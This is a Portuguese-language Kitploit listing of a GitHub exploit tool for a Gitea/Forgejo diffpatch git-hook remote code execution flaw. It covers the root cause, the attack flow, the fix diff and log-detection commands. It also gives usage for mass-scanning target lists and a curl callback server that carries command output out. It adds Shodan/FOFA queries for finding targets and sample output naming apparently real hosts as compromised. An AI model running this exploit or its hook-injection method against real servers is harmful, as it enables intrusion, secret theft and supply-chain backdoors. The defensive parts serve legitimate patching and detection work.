Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-60004
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationPenetration TestingRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

Ver Repositório
há 18 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-60004 — RCE via Git Hook no Diffpatch do Gitea

Injeção de Hook em Clone Bare → post-index-change → Execução Arbitrária de Comandos


Visão Geral

CVE-2026-60004 é uma vulnerabilidade de execução remota de código pré-autenticação de severidade crítica (CVSS 9.8) nas plataformas Git auto-hospedadas Gitea e Forgejo, afetando as versões 1.17 até 1.27.0.

A vulnerabilidade explora uma falha de design de clone bare no endpoint da API POST /api/v1/repos/{owner}/{repo}/diffpatch. O Gitea aplica patches fornecidos pelo usuário dentro de um clone temporário bare — onde a raiz do repositório é o próprio $GIT_DIR. Ao enviar o mesmo patch malicioso duas vezes, um atacante aciona um conflito add/add que faz o fallback de merge de três vias do Git (-3, Git 2.32+) gravar um hook post-index-change executável diretamente em $GIT_DIR/hooks/. O Git executa este hook automaticamente durante a atualização do index, resultando em execução arbitrária de comandos sob a conta de serviço do Gitea.

É necessário acesso de gravação no repositório — trivialmente obtido, pois o Gitea tem como padrão o registro aberto, sem verificação de e-mail, aprovação de administrador ou limites de criação de repositórios.

Versões Afetadas

VersãoStatus
< 1.17Não afetada (rota diffpatch ainda não introduzida)
1.17 — 1.27.0Vulnerável
1.27.1+Corrigida

Descoberta por: Shai Rod (NightRang3r), 28 de julho de 2026 Projeto: Gitea / Forgejo (serviço Git auto-hospedado) Componente: endpoint da API diffpatch, clone temporário bare


Mecanismo da Vulnerabilidade

Causa Raiz

A vulnerabilidade tem origem em um único parâmetro em services/repository/files/patch.go:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

Em um clone bare não há árvore de trabalho — a raiz do repositório é o $GIT_DIR. Portanto, um patch malicioso cujo caminho de arquivo seja hooks/post-index-change cai diretamente dentro do diretório real de hooks do Git, e não em uma árvore de trabalho isolada.

A invocação do git apply agrava ainda mais isso:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Por Que Funciona

  1. O clone bare não fornece sandbox — a raiz do clone temporário é $GIT_DIR, então o caminho hooks/post-index-change mapeia para o diretório real de hooks.
  2. --cached não é infalível — o fallback de três vias -3 do Git 2.32+ grava os resultados mesclados na árvore de trabalho durante conflitos add/add, apesar da flag --cached.
  3. O envio duplicado aciona o conflito — o primeiro apply adiciona o hook ao index. O segundo apply cria uma colisão add/add, o merge de três vias grava o arquivo em disco e o Git o executa.
  4. O Git executa post-index-change automaticamente — após atualizar o index, o Git executa incondicionalmente este hook se ele existir e for executável. Nenhuma configuração é necessária.
  5. Comandos no hook NÃO PODEM modificar o index — git update-index dentro do hook entra em deadlock porque o git apply mantém o lock do index. Use callbacks HTTP (curl) ou reverse shells para exfiltração de saída.

Fluxo do Ataque

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Referências Verificadas no Código-Fonte

Detecção no Log do Servidor

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Falha de Design Principal

A diferença entre um clone bare e um não bare — um único parâmetro booleano — determina se um caminho de patch é uma entrada inofensiva na árvore de trabalho ou um hook executável caindo diretamente no diretório interno do Git. A correção altera exatamente um caractere no diff (true → false), razão pela qual o commit foi rotulado como "refactor: git patch apply" em MISC, em vez de em SECURITY. A operação que deveria estar isolada ao index (--cached) foi silenciosamente comprometida pelo próprio mecanismo de merge de três vias do Git, e nenhuma proteção adicional impediu que arquivos de hook fossem criados no $GIT_DIR do clone bare.


Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Uso

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Argumentos

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prova de Conceito

Alvo Único

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

Varredura em Massa

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

Saída do Callback (salva automaticamente por alvo)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

Impacto

A exploração bem-sucedida resulta em execução remota de código como a conta de serviço do Gitea:

  • Extrair a configuração do app.ini — credenciais do banco de dados, segredos SMTP, chaves de aplicativos OAuth, segredos LFS/JWT
  • Acessar todos os repositórios hospedados, histórico de commits e objetos LFS
  • Realizar pivô para serviços internos acessíveis a partir do host do Gitea (CI/CD, registries de pacotes, registries de contêineres)
  • Implantar backdoors persistentes via chaves SSH ou contas de administrador ocultas
  • Comprometimento da cadeia de suprimentos de software — injetar backdoors nos repositórios servidos pela instância

Nenhuma conta na instância é necessária — o registro é aberto por padrão.


A Correção (1.27.1)

O Gitea corrigiu a vulnerabilidade na versão 1.27.1 (commit 470d34b) ao:

  • Alterar o clone temporário de bare para não bare, de modo que os caminhos de arquivo controlados pelo atacante caiam na árvore de trabalho, em vez de diretamente em $GIT_DIR/hooks/
  • Adicionar um comentário de aviso de que operações com --index podem interagir com a árvore de trabalho sob certas condições
  • Adicionar um teste unitário (TestGitPatchPrepare) que garante que o clone temporário seja não bare, verificando a existência de um subdiretório .git
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

A correção apareceu nas notas de versão 1.27.1 em MISC como "refactor: git patch apply", em vez de em SECURITY, facilitando que administradores que analisam apenas entradas de changelog relacionadas à segurança percam essa atualização crítica. O mesmo padrão de clone bare em CherryPick também foi corrigido.


Aviso Legal

APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO.

Não use contra sistemas sem permissão explícita do proprietário. Os autores não assumem nenhuma responsabilidade pelo uso indevido.


Referências

RecursoLink

Descoberto por Shai Rod (NightRang3r). Sem afiliação com Gitea ou Forgejo.

Baixar ferramenta
ArquivoLinha(s)Finalidade
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — criação do clone bare
services/repository/files/patch.go206-209git apply com as flags --index --cached -3
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — persiste o estado do atacante
services/repository/files/cherry_pick.go~170Mesmo padrão de clone bare em CherryPick (também corrigido)
Commit da Correção no Gitea470d34b
PesquisadorNightRang3r
CWE-94Injeção de Código
Hook do Gitpost-index-change